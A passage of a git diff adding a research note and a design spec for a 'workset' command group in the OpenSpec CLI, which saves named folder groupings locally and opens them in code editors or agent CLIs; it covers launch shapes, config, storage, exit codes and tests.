<m2> <m3> …` (repeatable flag also accepted) | +| `codex` | attach-dirs | cwd=primary, `codex --sandbox workspace-write --add-dir <m2> --add-dir <m3> …` | + +The old code's codex pre-args `['--sandbox', 'workspace-write']` +(`f858c19^:open.ts:57-60`) match the roadmap's pinned built-in table; it +applied them only when attach paths existed — simpler to apply always +(spec call). Per-member repeated `--add-dir <path>` pairs are the one +shape verified to parse for both agent CLIs (codex verified locally as +repeatable; claude's variadic `<directories...>` also accepts the repeated +form, which is what the old shipped code emitted for it). + +**Opener config file: location candidates.** The repo splits homes by +kind: the global *config* dir holds user-edited JSON +(`<configDir>/config.json`, permissive parse-with-defaults, +`src/core/global-config.ts:35-56, 116-170`); the global *data* dir holds +machine state YAML (registry). An opener table is user-edited +configuration → the config side fits. Candidates: a new top-level section +in `config.json` (cheapest; the file already has permissive parsing) or a +dedicated file. Merge semantics needed per FR2.3: built-ins exist without +any config; a user entry with a built-in id overrides that row's fields; a +new id adds a row; only the two known styles are accepted. + +**Cursor `.code-workspace` handling: verified.** The `cursor` shim +(`/usr/local/bin/cursor`, bash) resolves the app bundle and runs the stock +VS Code CLI entry (`ELECTRON_RUN_AS_NODE=1 "$CONTENTS/MacOS/Cursor" +"$CONTENTS/Resources/app/out/cli.js" "$@"`, args forwarded verbatim, no +eval). `cursor --help` mirrors `code --help` including the "folder or +workspace" wording on `--profile`; web evidence confirms +`cursor my.code-workspace` opens a multi-root workspace. Two shim +hazards recorded: + +- `cursor agent ...` routes to `~/.local/bin/cursor-agent` and + **auto-installs it via curl if missing**; `cursor editor ...` strips + `editor`. Mitigation: we pass exactly one argv entry, an absolute + workspace-file path, which can never equal a bare `agent`. +- A reported quirk in Cursor's "glass" multi-workbench mode can open + workspace files in the Agent Window (`--classic` is the community + workaround). Not locally reproducible without opening a window; do not + pre-add `--classic` — a user can add it in opener config if bitten + (exactly the FR2.3 escape hatch). + +## R3 — Launch and terminal-handoff mechanics + +**Spawn shape (inherit).** The old launcher used **cross-spawn** — still a +declared dependency at exactly `7.0.6` (`package.json:77`) with zero +importers in the current tree (residue of the deletion; 7.1 becomes its +importer again or drops it deliberately): + +```ts +const child = spawn(executable, args, { + cwd, // the primary root + stdio: 'inherit', // 'ignore' in --json mode + shell: false, +}); +``` + +(`f858c19^:src/commands/workspace/open.ts:21-22, 175-218`.) Not detached, +no `unref()`, no env manipulation. Editor opens also awaited child exit — +fine because `code`/`cursor` CLIs hand off to the running app and exit +immediately. + +**Signal handling: none existed, deliberately usable.** No +`SIGINT`/`SIGTERM` listeners anywhere in the old tree. With +`stdio: 'inherit'` and the child in the foreground process group, the +terminal delivers Ctrl-C to both processes; the parent just awaits +`'close'`. That shipped and worked. **Implication**: the new launcher +needs no signal plumbing either, but the spec should pin the observable +contract (Ctrl-C in an agent session must not produce a parent error +banner over the agent's own exit). + +**Exit-code propagation was lossy — fix it.** A nonzero child exit +rejected the launch promise; the command's `handleFailure` flattened it to +`process.exitCode = 1` and printed +`Error: <label> exited with exit code N.` +(`f858c19^:open.ts:200-216`, `f858c19^:workspace.ts:748-776`). For a +terminal-handoff session, the session *is* the command — a user quitting +their agent with a nonzero code should see the workset command exit with +the child's real code, not an error banner. Spawn `'error'` events +(ENOENT etc.) are the genuine launch-failure path +(`workspace_opener_launch_failed` precedent, `f858c19^:open.ts:188-198`). + +**`--json` interplay.** The old open launched even in JSON mode with +`stdio: 'ignore'` and printed the payload **after** the child closed +(`f858c19^:workspace.ts:726-751`) — so JSON mode blocked for the entire +agent session, and the payload hardcoded +`launch: { attempted: true, status: 'succeeded' }` +(`f858c19^:open-view.ts:391-394`). Both are traps to avoid. The standing +contracts to honor instead: every `--json` failure leaves exactly one JSON +document on stdout (`src/cli/index.ts:62-63`); side effects that can fail +run before the success payload prints (`src/commands/context.ts:215-220`); +human-facing confirmations of writes go to stderr under `--json` +(`context.ts:168-177`). What `workset open --json` should even mean +(launch vs describe) is a spec decision; the evidence says "launch then +report afterwards" served no one. + +**Missing members and fallback messaging.** The old skip pattern: missing +link paths became per-item one-liners under a heading plus warnings and a +`skipped_roots` JSON block — never an error +(`f858c19^:open-surface.ts:228-262`, `f858c19^:workspace.ts:421-431`). +Matches FR2.5 directly. The old availability error showed the manual +workspace-file path **only when the executable was `code`** +(`f858c19^:open.ts:105-129`); FR2.4 requires the fallback (workspace file +path + member folders) on *every* cannot-drive/launch-failure path — a +recorded gap to close, not a pattern to copy. + +**The current `.code-workspace` builder is reusable as-is.** +`buildCodeWorkspaceJson(workingSet, rootName)` is pure +(`src/core/working-set.ts:93-107`) but takes a `WorkingSet`; worksets have +plain ordered members, so either generalize it or write the sibling +builder — note its conventions: `{ folders: [{ name, path }] }`, +two-space JSON + trailing newline, absolute paths. The old builder's +folder entries used the member's human name as `name` +(`f858c19^:open-surface.ts:191-215`). The write-guard idiom to mirror: +`context_file_exists` refusal + `--force`, missing-parent-dir typed error, +stderr confirmation (`src/commands/context.ts:140-178`). + +## R4 — Compose-flow prompts (house `@inquirer` idiom) + +**House rules** (current tree): + +- `@inquirer/prompts ^7.8.0` and `@inquirer/core ^10.2.2` are the + dependencies (`package.json:73-74`). Always dynamically imported at the + call site — never at module top (pre-commit hang, issue #367; + `src/commands/store.ts:244` et al.). +- Interactivity gate: `isInteractive()` (`src/utils/interactive.ts`) — + false on `--no-interactive`, `OPEN_SPEC_INTERACTIVE=0`, `CI` present, or + non-TTY stdin; `--json` always implies non-interactive + (`store.ts:273-281`). +- Non-interactive runs require the flags instead of prompting, failing + with typed errors whose fixes are pasteable full commands + (`store_setup_id_required` / `store_setup_path_required` idiom, + `store.ts:283-311`). +- Prompt validation wraps the shared validator: + `validate: (v) => { try { validateX(v); return true } catch (e) { + return asErrorMessage(e) } }` (`store.ts:246-257`). +- Path prompts suggest a visible default with `prefill: 'editable'` + (`store.ts:260-271`). +- Destructive confirms print the plan first, then `confirm`; declining + throws a typed `*_cancelled` error; non-interactive destructive ops + require `--yes` (`store.ts:320-381`). +- Cancellation: `ExitPromptError` (or the SIGINT message) → + `Cancelled.` + `process.exitCode = 130` (`store.ts:222-227, 675-679`; + the same helper is duplicated in `config.ts:94` — a third copy would + justify extracting it). + +**Old wizard shape worth imitating** (`f858c19^:workspace.ts:435-551`, +`f858c19^:setup-prompts.ts:29-160`): numbered `[n/N]` bold step headings; +the member loop — path input (first default `'.'`, validated +exists-and-is-directory), name inferred via `path.basename` with a name +prompt only on collision/invalid, green `Added '<name>'` echo, then a +`select` defaulting to "finish" between finish/add-another; opener +`select` listing available-first with unavailable annotated. The chalk +prompt theme (`prefix: ''`, cyan highlights, dim help) was deleted with +the group but is recoverable at +`f858c19^:src/commands/workspace/prompt-theme.ts:3-26`. Steps not to +imitate: the skills-install step and initiative/target selection — the +couplings 7.1 explicitly does not inherit. + +## Live CLI verification (built-in opener table, this machine) + +**`code`** (1.120.0, on PATH): `Usage: code [options] [paths...]`. A +`.code-workspace` positional opens as a multi-root workspace (help's +"folder or workspace" wording + vendor docs). Multiple folder positionals +create one *untitled* multi-root workspace — workable but unsaved, so the +generated-file route is the better contract. Useful flags: `-n +--new-window`, `-r --reuse-window`, `-a --add <folder>` (mutates the last +active window — not workset-shaped). + +**`cursor`** (3.5.1, on PATH): VS Code-fork CLI via the bash shim +described in R2; same positional contract. Hazards: the `agent` +first-arg hijack (mitigated by absolute paths) and the glass-mode +workspace-window quirk (user-side `--classic` if needed). + +**`claude`** (2.1.173, on PATH): interactive TUI by default ("use +-p/--print for non-interactive"). `--add-dir <directories...>` — +"Additional directories to allow tool access to"; session root is the +process cwd (no `--cwd` flag; `-c --continue` says "in the current +directory"). Hazard: the positional `[prompt]` arg becomes the session's +initial prompt — the no-prompt rule means argv must end with flags, never +a stray positional. Avoid `-p/--print`, `--remote-control`, +`-w/--worktree`, `--tmux`. + +**`codex`** (0.128.0, on PATH): interactive TUI by default (options +forward to the interactive CLI). `-s, --sandbox <SANDBOX_MODE>` with +exactly `read-only | workspace-write | danger-full-access`; `-C, --cd +<DIR>` sets the working root; `--add-dir <DIR>` ("Additional directories +that should be writable alongside the primary workspace") — verified +repeatable locally. Hazard: positional `[PROMPT]` starts the session with +a prompt — same rule as claude. A config-override alternative +(`-c 'sandbox_workspace_write.writable_roots=[...]'`) exists but the flag +form is simpler and verified. Note `-C` exists but spawning with `cwd` at +the primary member (the old code's shape) needs no flag at all. + +Both agent CLIs are terminal handoffs when launched bare; their +non-interactive modes (`claude -p`, `codex exec`) are exactly what opens +must *not* use. + +## Test and capstone groundwork + +- CLI e2e harness: `runCLI` spawns the built `dist/cli/index.js` with + `OPEN_SPEC_INTERACTIVE: '0'` merged in (`test/helpers/run-cli.ts:82-91`). + Standard isolation block: per-test `mkdtempSync` (realpath'd for macOS + /tmp), `XDG_DATA_HOME`/`XDG_CONFIG_HOME` pointed inside it, + `OPENSPEC_TELEMETRY: '0'`, and `getGlobalDataDir({ env })` so fixtures + and the CLI see the same state (`test/commands/context.test.ts:20-27`). +- The capstone's fake-executable machinery exists fully formed one commit + back: `test/helpers/path-env.ts` at `f858c19^` (case-insensitive PATH + key lookup, `withPrependedPathEnv`) and the `createFakeExecutable` + pattern from `f858c19^:test/commands/workspace-initiative-open.test.ts` + (~93-121): a `record-launch.cjs` recorder writing + `{ cwd, args }` to `$OPENSPEC_FAKE_OPEN_LOG`, a posix `#!/bin/sh` shim + per tool name, a `.cmd` twin for Windows. Resurrect both nearly + verbatim for fake `code`/`cursor`/`claude`/`codex`. +- Unit-test home by precedent: `test/core/store/{foundation,registry}.test.ts` + pass `globalDataDir: tempDir`; a worksets storage module gets the same + treatment. + +## Not-to-inherit ledger (from the f858c19^ archaeology) + +- Registry indirection mapping names to managed roots, and the whole + `selection.ts` resolver. +- Managed per-view directories with rollback, `AGENTS.md` fence sync, and + `.gitignore` ceremony. +- Initiative binding (~half of `prepareWorkspaceOpen`, all of + `open-target-selection.ts`), `context`/`advisory_edit_boundaries` JSON. +- Skills state leaking into opener selection and a wizard step. +- Triple-keyed opener identity and the `'codex'`/`'codex-cli'` alias. +- Dead option stubs (`--prepare-only`, `--change`) that existed to throw. +- Optimistic/lossy reporting: hardcoded `launch.status: 'succeeded'`, + child exit codes flattened to 1, fix strings pointing at repair + subcommands this feature will not have. +- The agent-launch starter prompt (locked out by the 7.1 decisions). + +## Open questions the spec must settle + +1. Saved-views file: exact name (`worksets.yaml` beside `stores/`?), + schema fields (members as ordered `{ name?, path }`? preferred tool + id?), and the new `invalid_*`/`*_busy`/`*_not_found` code family. +2. Generated `.code-workspace` home: `<globalDataDir>/worksets/` vs a + user-visible location; regenerate-on-every-open vs write-once. +3. Opener config home: section in global `config.json` vs dedicated file; + exact row schema for the two styles; override/merge rules. +4. `workset open --json` semantics (launch + report vs describe-only) and + the open command's exit-code contract for agent handoffs. +5. Command surface shapes (`workset` group: compose/list/open/remove + naming, `--tool` override flag, non-interactive compose flags). +6. Whether `cross-spawn` stays (7.1 becomes its only importer) — evidence + says yes: it exists for exactly this Windows-spawn problem. +7. Member identity inside a workset: paths only, or name+path (the old + code used basename-inferred names for `.code-workspace` folder labels). diff --git a/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/spec.md new file mode 100644 index 0000000000..145e95012c --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/spec.md @@ -0,0 +1,668 @@ +# Personal Worksets Spec (7.1) + +## Outcome + +A user who works across several folders — a planning root plus whatever +repos they choose — can compose that grouping under a name in one short +guided flow, keep it on their machine, list and remove it safely, and +reopen it by name in their tool of choice: VS Code/Cursor as a +multi-folder window, Claude Code/codex as a terminal session with every +member accessible. The workset is purely personal and local: never +committed, never shared, never derived from declarations, and never a +membership truth. No member folder ever contains workset residue. + +## Locked Decisions (roadmap, owner-directed — not relitigated here) + +1. **Local-only, manual composition**; never committed, shared, or + derived. Declarations are not load-bearing for membership. +2. **No starter prompt on agent opens** — sessions open clean with + directories attached. +3. **Tools-as-config via exactly two launch styles** + (`workspace-file`, `attach-dirs`); no per-tool code paths. +4. **No `--print`/dry-run mode**; fallback info lives in the failure + path. +5. **Desktop apps unsupported** until they expose a real launch + interface. +6. **The noun is "workset"**; "workspace" stays retired. +7. **Built-in opener table at v1**: `code`, `cursor` (workspace-file); + `claude`, `codex` (attach-dirs; codex carries + `--sandbox workspace-write` pre-args). Availability via PATH scan. +8. **No changes** to `openspec context`, project config parsing, or any + committed file format. + +## Decisions This Spec Makes (autonomous, recorded in the changelog) + +1. **Command surface**: a new `workset` command group — + `openspec workset create [name]` (guided compose; non-interactive + via flags), `openspec workset list`, `openspec workset open <name> + [--tool <id>]`, `openspec workset remove <name>`. "create" over + "compose"/"setup" (plain-English verb; matches `new change`'s + register). No edit/update command at v1: recompose is + remove + create, and the saved file is hand-editable (validated on + read). `create` ends by offering to open immediately (interactive + only). +2. **Saved-views storage**: one machine-local YAML file + `<globalDataDir>/worksets/worksets.yaml`, following the store + registry idiom exactly — zod `.strict()` schema with + `version: z.literal(1)`, parse → validate → typed errors, serialize + re-validates, same-dir-temp atomic writes, `.lock` sibling with the + 30s stale-steal/5s deadline, pure `withWorkset`/`withoutWorkset` + rebuilds, no-op reads never take the write lock. Shape: + + ```yaml + version: 1 + worksets: + platform: + tool: claude # optional preferred opener id + members: + - name: team-context # .code-workspace folder label + path: /Users/dev/src/team-context + - name: web-app + path: /Users/dev/src/web-app + ``` + + Members are ordered; **the first member is the primary**: it is the + `cwd` for attach-dirs opens and the first folder in the generated + workspace file. Member `name` defaults to the path basename at + compose time and is stored explicitly (it labels the + `.code-workspace` folder). The hand-edit parse contract (the file + is hand-editable; review round): member paths must be absolute + (a relative path would float with process cwd — reject as + `invalid_workset_file`); `members` must be non-empty; member + labels must be non-empty, contain no path separators, and not be + `.`/`..` (otherwise free-form — they are display labels, not ids), + with duplicates within a workset rejected; `tool` is + schema-validated as a plain string only, never against the merged + opener table (deleting a config row must not brick the file — + an unknown tool surfaces at open time, decision 10). Missing + member *directories* are not a parse error; they are open-time + skips. Concurrency (review round): `open` performs its read and + the derived-file write under the worksets lock, releasing it + before spawning; `remove` deletes the entry and cleans up the + derived file under the same lock, tolerating an absent file + (ENOENT is fine — a never-opened workset has none). The whole + feature's state lives under `<globalDataDir>/worksets/` — deleting + that one directory deletes every saved view and generated file, + satisfying the "loses nothing you cannot recompose" bar. + Remove's derived-file cleanup runs *after* the durable state write + (review round: a failed write must not have already destroyed the + artifact), still under the one lock. +3. **Workset names use the one kebab grammar** (`isKebabId` / + `KEBAB_ID_DESCRIPTION`, `src/core/id.ts`). Worksets are their own + namespace in their own file: no cross-checks against store/repo ids + (a workset named like a store is fine — they never meet). +4. **Generated `.code-workspace` files live beside the saved views** + at `<globalDataDir>/worksets/<name>.code-workspace` and are + **regenerated on every open** (both styles — the fallback path can + always name a current file; the write is to our own state dir, so + no `--force` ceremony applies). Content follows the existing + builder's conventions (`src/core/working-set.ts:93-107`): + `{ "folders": [{ "name", "path" }...] }`, two-space JSON, trailing + newline, absolute paths, members in saved order with their saved + names. Folders list only members whose paths exist at open time. + This derived file is the one write `open` performs; `create`, + `list`, and `remove` write only `worksets.yaml`. Nothing is ever + written into a member folder. +5. **Opener table and config**: a single table row per tool is the + whole identity: + + ```ts + { id, label, style: 'workspace-file' | 'attach-dirs', + command, // executable; defaults to id + args?, // pre-args, e.g. codex's sandbox flags + attachFlag? } // attach-dirs only; default '--add-dir' + ``` + + Built-ins: `code` ("VS Code"), `cursor` ("Cursor") as + workspace-file; `claude` ("Claude Code"), `codex` ("codex", + `args: ['--sandbox', 'workspace-write']`) as attach-dirs. User + config lives in the existing global config file + (`<globalConfigDir>/config.json`) under a new optional `openers` + key — rows keyed by id with the same fields in snake_case + (`style`, `command`, `args`, `attach_flag`). Merge semantics: a row + whose id matches a built-in overrides only the fields it sets; a + new id adds a tool (`style` required, `command` defaults to the + id). An unknown `style` or malformed row fails the command that + reads it with a typed diagnostic naming the two styles — never + silently ignored. (The git difftool/mergetool pattern: a tool + renaming its attach flag is a one-line local fix, e.g. + `"claude": { "attach_flag": "--dir" }`; adding zed is + `"zed": { "style": "workspace-file" }`.) Config touchpoints + (review round): opener config is **hand-edit-only at v1** — + `config edit` opens the file; `config set openers.… ` is rejected + by the known-keys check without `--allow-unknown` + (`src/core/config-schema.ts:38-67`) and `config reset --all` + deletes opener rows, so no workset fix string points at + `config set`. A config file that fails JSON parsing already warns + on stderr and yields defaults (`src/core/global-config.ts:147-153`); + workset commands then see built-ins only — recorded as accepted + degradation with the existing warning as the signal (the strict + per-row failure in this decision applies to a *parseable* file). +6. **Launch shapes** (pinned; verified against live CLIs in + `research.md`): + - workspace-file: argv exactly `[<abs path to <name>.code-workspace>]`, + `cwd` = primary member. The single absolute-path argv also + defuses the cursor shim's `agent` first-arg hijack. + - attach-dirs: argv = `[...args, ...existingMembers.flatMap(m => + [attachFlag, m.path])]` — pre-args first, then one `attachFlag` + + path pair per member, **the primary included** (the locked FR2 + text is "one attach flag per member"; review-round P1 — the + draft skipped the primary and leaned on `cwd` alone); `cwd` = + primary member. A single-member workset therefore launches + `claude --add-dir <primary>` / + `codex --sandbox workspace-write --add-dir <primary>` with + `cwd` = that member. **No trailing positional, ever** (locked: + no starter prompt; both agent CLIs read a positional as one). + - Spawn via `cross-spawn` (already a pinned dependency, + `package.json:77`; loaded lazily so non-open commands skip its + module graph — review round) with `shell: false`, + `stdio: 'inherit'`, env inherited, not detached — the `f858c19^` + shape. While the child runs, the parent ignores SIGINT/SIGTERM + (review round): the terminal delivers Ctrl-C to the child, and + the parent must survive to report the child's real exit facts — + otherwise the 128+n contract is unreachable for tty-generated + signals. Synchronous spawn throws are the same launch failure as + the async error event. + - codex's pre-args apply always (not only when extra members + exist) — simpler than the old conditional, and a one-member + codex open still wants `workspace-write`. +7. **Exit codes propagate honestly** (fixing the `f858c19^` lossiness): + a launched tool's nonzero exit becomes the command's exit code with + no error banner — for a terminal handoff the session *is* the + command. A signal-terminated child (`close(null, signal)` — the + Ctrl-C-in-session case) exits `128 + signal number` (130 for + SIGINT), also with no banner (review round; the old code turned + this into an error). Spawn errors (ENOENT etc.) are real failures: + `workset_launch_failed` plus the manual fallback. Prompt + cancellation keeps the house convention (`Cancelled.`, exit 130). +8. **`workset open` does not support `--json`** (recorded as a + deliberate surface gap): an open hands the terminal to the child + (`stdio: 'inherit'`), which cannot compose with the + exactly-one-JSON-document contract — the old code's + ignore-stdio-then-report-after-exit shape blocked for the whole + agent session and hardcoded `launch: succeeded`; nobody was served. + But an agent probing `open --json` must not get a raw Commander + error (review round): `open` accepts the flag only to reject it + with exactly one JSON document `{ status: [<diagnostic>] }`, code + `workset_open_json_unsupported`, exit 1, whose fix names + `workset list --json` for inspection. `create`, `list`, and + `remove` carry `--json`. JSON envelopes, pinned (every success + carries `status` — no parallel envelope styles): create + `{ workset: { name, tool?, members }, status: [] }` / + `{ workset: null, status: [d] }`; list + `{ worksets: [...], status: [] }`; remove + `{ removed: { name }, status: [] }` / + `{ removed: null, status: [d] }`. Missing and unknown subcommands + share one group-action handler (code `unknown_workset_subcommand`) + keeping the one-JSON-document contract — including the bare + `openspec workset --json` probe, which the store group's + `command:*` pattern alone cannot catch (review round: the group + parses a hidden `--json` so Commander never owns the error). Open + failures print the human `Error:`/`Fix:` shape. +9. **The open kind is stated plainly before launch** (FR2.1): editors + print "Opening <name> in <label> (a window opens; this command + returns)"; agents print "Handing this terminal to <label> for + <name> (the session ends when you exit)". One line, then launch. +10. **Fallback is the failure path** (FR2.4), and the rule is + structural, not a code list (review round — a curated code set + had already drifted): once the derived file is regenerated, + *every* open failure except a prompt cancellation — tool not on + PATH (`workset_tool_unavailable`), unknown id + (`workset_tool_unknown`, covering a saved `tool:` whose config + row was later removed), spawn failure (`workset_launch_failed`), + a malformed opener config (`invalid_opener_config`), or the + non-interactive no-tool case (`workset_tool_required`) — is + followed by "Open manually:" with the regenerated + `.code-workspace` path and the **surviving** members it actually + contains (skipped members already got their own notes). When + other known tools are installed, the fix is a pasteable command + naming the first one + (`openspec workset open <name> --tool <id>`) — including on + launch failure (the command rewrites the launcher's generic fix + from the merged table). Interactive opens where *nothing* is + installed say so plainly ("None of the known tools is on PATH.") + instead of misreporting the table's first row. +11. **Missing members degrade, absent worksets fail**: the open-time + filter is "exists **and is a directory**" (a member path that + now points at a file is skipped too — review round); skipped + members get a one-line note and are excluded from the generated + file and attach flags; if the *primary* is excluded, the next + surviving member becomes cwd for that open, announced in the + skip-line style — `Using '<name>' (<path>) as the primary for + this open.` If no member survives, open fails + (`workset_no_members_available`). `open`/`remove` of an unknown + name → `workset_not_found` listing saved names in the fix — or, + with zero saved worksets, naming + `openspec workset create` instead. +12. **Diagnostic code family** (all new, `workset_*`-prefixed, the + shared severity/code/message/fix envelope): `workset_not_found`, + `workset_exists`, `invalid_workset_name`, `invalid_workset_file` + ("Repair or remove <path>." fix), `workset_file_busy`, + `workset_member_invalid` (compose-time: path missing or not a + directory; also duplicate member names), `workset_members_required` + (non-interactive create without `--member`), + `workset_name_required` (non-interactive create without a name — + added during implementation, mirroring `store_setup_id_required`; + folded into this family in the review round), + `workset_tool_unknown` (not a built-in or configured id; fix names + known ids), `workset_tool_unavailable` (known but not on PATH), + `workset_tool_required` (non-interactive open with no saved tool + and no `--tool`; fix is a pasteable + `openspec workset open <name> --tool <id>`), + `invalid_opener_config`, `workset_launch_failed`, + `workset_no_members_available`, `workset_open_json_unsupported`, + `unknown_workset_subcommand`, + `workset_remove_cancelled` (a declined remove confirm — create + has no abort-confirm: declining its open-now offer is a success + path, and Ctrl-C anywhere uses the untyped `Cancelled.`/130 + helper per the store precedent; plan round), + `workset_remove_confirmation_required` + (non-interactive remove without `--yes`). Target convention: + `workset.<facet>` (e.g. `workset.name`, `workset.member`, + `workset.tool`, `workset.file`, `openers.config`). +13. **Compose flow** (house `@inquirer` idiom; dynamic imports; + `isInteractive()` gate; `--json` implies non-interactive): + numbered `[n/3]` steps — name (kebab-validated input), members + (path input defaulting to `.` first, validated + exists-and-is-directory, name inferred from basename with a name + prompt only on collision, then add-another/finish select + defaulting to finish after the first member), tool (select over + **available** tools only, FR2.2; when none of the known tools is + installed the step is skipped with a note and no `tool` is saved). + Then save, confirm-to-open (default yes; declining prints the + `openspec workset open <name>` line; the offer is skipped when no + tool was saved; **Ctrl-C at this offer declines it** — the + workset is already durably saved, so the create reports success + with the reopen line, never `Cancelled.` — review round). + Flag-provided members are resolved and validated *before* any + prompting, so a bad flag cannot discard a finished wizard walk + (review round). `create <name>` with the name given skips the + name prompt — the step echoes the validated name and the `[n/3]` + numbering holds (the store-setup precedent). The opener table is + read only where it is consulted (review round): create reads it + when interactive or when `--tool` is named — a tool-less scripted + create never fails on an unrelated config row; list reads it only + to render human-mode labels. A bare `--member` path containing + `=` is read as `<name>=<path>` at the first `=` — the labeled + form is the escape for such paths (recorded limitation). + Non-interactive: + `--member <path>` / `--member <name>=<path>` (repeatable, ordered, + first is primary) and optional `--tool <id>` (validated against + the merged table but not against PATH — a saved preference may + name a tool installed elsewhere; only `open` requires + availability). **Open with no tool resolved** (no saved `tool`, + no `--tool` — review round): interactive opens prompt with the + same available-tools select; non-interactive opens fail + `workset_tool_required`. `remove` prints the workset and asks + `confirm`; non-interactive requires `--yes`. +14. **Module homes** (dependency direction: core never imports + commands): `src/core/worksets.ts` (schema, paths, parse/serialize, + lock + atomic update, with/without rebuilds), + `src/core/openers.ts` (built-in table, config merge, PATH + availability scan with injectable `{ env, platform }`, pure argv + builder returning `{ executable, args, cwd, label, style }`), and + `src/commands/workset.ts` (prompts, spawn via injectable + cross-spawn, output, registration). The `.code-workspace` content + comes from a small pure builder in `src/core/worksets.ts` + mirroring `buildCodeWorkspaceJson`'s conventions (that function + keeps its `WorkingSet` signature and its one caller — recorded: + a shared generalization needs two call sites that actually share + a shape, and these don't). The lock and atomic-write *mechanics*, + by contrast, now have two real call sites (review round): extract + `writeFileAtomically` and the lock-acquire loop into a shared + `src/core/file-state.ts`, parameterized by the busy-error + factory, with store foundation delegating behavior-identically + (its existing tests pin that). The availability scan sharpens the + old mechanics for injectability (review round): delimiter and + join are platform-keyed (`path.win32`/`path.posix` per the + `getGlobalDataDir` precedent) rather than host-bound; commands + containing a separator stat directly; a `command` already ending + in an executable extension matches as-is — and the scan agrees + with what cross-spawn resolves at spawn time. The command layer + is three modules (review round — the single file crossed the + ~600-line bar): `workset.ts` (the command class, launch, + registration), `workset-prompts.ts` (the interactive flows), and + `workset-input.ts` (member-flag resolution and the error builders + shared by both). Other shared homes from the review round: + `formatZodIssues` in `src/core/zod-issues.ts`, + `folderStyleNameProblem`/`KEBAB_ID_FIX` in `src/core/id.ts`, + `pathIsFile`/`pathIsDirectory`/`isNodeErrorCode` exported from + `src/core/file-state.ts`, and the prompt-cancellation branch + lifted into shared-output's `emitFailure` (the store group's + private copy collapsed onto it). The lock's stat-failure path is + deadline-bounded (review round: a persistently failing stat must + time out, not busy-spin). + +## User Experience + +```text +$ openspec workset create +[1/3] Name the workset +? Workset name: platform + +[2/3] Add member folders (first one is the primary — sessions start there) +? Folder path: ~/src/team-context +Added 'team-context' (/Users/dev/src/team-context) +? Add another folder or finish: Add another +? Folder path: ~/src/web-app +Added 'web-app' (/Users/dev/src/web-app) +? Add another folder or finish: Finish + +[3/3] Choose your tool +? Open this workset with: Claude Code + (offered: VS Code, Cursor, Claude Code — codex not found on PATH) + +Saved workset 'platform' (2 members) to your machine. +? Open it now in Claude Code? Yes + +Handing this terminal to Claude Code for 'platform' (the session ends when you exit). +``` + +```text +$ openspec workset list +platform (opens in Claude Code) + team-context /Users/dev/src/team-context + web-app /Users/dev/src/web-app + +$ openspec workset open platform --tool code +Opening 'platform' in VS Code (a window opens; this command returns). +``` + +A missing member and the failure fallback: + +```text +$ openspec workset open platform +Skipped 'web-app' (/Users/dev/src/web-app is not available). +Handing this terminal to Claude Code for 'platform' (the session ends when you exit). + +$ openspec workset open platform --tool cursor +Error: Cursor ('cursor') is not on PATH. +Fix: Install 'cursor' or run: openspec workset open platform --tool code +Open manually: + Workspace file: /Users/dev/.local/share/openspec/worksets/platform.code-workspace + Members: + team-context /Users/dev/src/team-context + web-app /Users/dev/src/web-app +``` + +Non-interactive and JSON: + +```text +$ openspec workset create ci-triage --member ~/src/ci --member runner=~/src/ci-runner --tool codex --json +{ + "workset": { + "name": "ci-triage", + "tool": "codex", + "members": [ + { "name": "ci", "path": "/Users/dev/src/ci" }, + { "name": "runner", "path": "/Users/dev/src/ci-runner" } + ] + }, + "status": [] +} + +$ openspec workset list --json +{ "worksets": [ { "name": "ci-triage", ... }, { "name": "platform", ... } ] } + +$ openspec workset remove ci-triage --yes +Removed workset 'ci-triage'. Member folders were not touched. +``` + +## Scope + +In scope: + +- **Core** (`src/core/worksets.ts`): the worksets file schema, paths + (`getWorksetsDir`, file + per-name `.code-workspace` paths), + parse/serialize with typed errors, lock + atomic update, + `withWorkset`/`withoutWorkset`, the pure `.code-workspace` content + builder, name/member validation. +- **Core** (`src/core/openers.ts`): built-in table, `openers` config + merge (reading the global config file), availability scan + (PATH/PATHEXT, injectable env/platform — inherited from + `f858c19^:src/core/workspace/openers.ts:48-108` mechanics), pure + launch-command builder. +- **Global config** (`src/core/global-config.ts`): the optional + `openers` key parsed permissively at the file level, strictly per + row when used. +- **Command** (`src/commands/workset.ts`): the four subcommands, + prompts, spawn (injectable), human/JSON output, exit-code + propagation; registration in `src/cli/index.ts`; a + `workset` entry in `src/core/completions/command-registry.ts` + (group description single-sourced back into commander, the `repo` + pattern); the `command:*` unknown-subcommand handler keeping the + one-JSON-document contract (the `store` group pattern). +- **Dependency**: `cross-spawn` gains its first live importer again + (already pinned at 7.0.6). +- **Docs**: a "Personal worksets" section in `docs/cli.md` (command + table rows + a short concept paragraph; "workset" vocabulary only). +- **Shared mechanics** (`src/core/file-state.ts`): `writeFileAtomically` + and the lock-acquire loop extracted from store foundation + (parameterized busy-error factory; store behavior byte-identical, + pinned by its existing tests). +- **Tests**: unit — worksets storage (parse/serialize/lock/rebuilds/ + corrupt-file diagnostics, the hand-edit contract: relative paths, + empty members, duplicate/path-bearing labels, unknown-tool-parses), + openers (merge semantics; availability with injected env/platform + including the win32 matrix — `PATHEXT` default, a custom `Path` + key, `command: "tool.cmd"`; argv builder per style including the + attach-pair-per-member pin, single-member shapes, the + no-positional pin, and codex pre-args); command — compose + non-interactive (+JSON shapes), list, remove, open via fake + executables on PATH (resurrect `test/helpers/path-env.ts` and the + `createFakeExecutable` recorder from `f858c19^`) asserting exact + argv, cwd, exit-code and signal propagation, missing-member skip, + fallback output, `--tool` override, the `open --json` typed + rejection, and the `command:*` unknown-subcommand JSON document; + e2e — the compose→list→open→remove journey with isolated XDG + state; an isolation assert that member folders are byte-untouched + end to end. + +Out of scope (pinned): + +- Any change to `openspec context`, `openspec doctor`, reference parsing, or + any committed file format. +- Declaration-derived member suggestions (recorded as a later idea in + the roadmap item). +- Desktop apps; terminal multiplexers; session managers; windows/tabs + orchestration. +- Editing commands (`workset edit`/`rename`); import/export; any + sharing surface. +- A `--print`/dry-run mode (locked out). +- Workflow-template/guidance regeneration: agent guidance does not + teach worksets at v1 (it is a human convenience; an agent inside a + workset session needs no command to be there). Recorded so the + vocabulary sweep and template parity pins stay untouched. + +## Acceptance Criteria + +### FR1 — Compose And Keep A Personal Working View + +#### Scenario: First workset in one guided flow + +- **GIVEN** a machine with no workset state and three real folders +- **WHEN** the user runs `openspec workset create` interactively, + names it `platform`, adds the three folders, and picks a tool +- **THEN** `<globalDataDir>/worksets/worksets.yaml` contains exactly + the named workset with 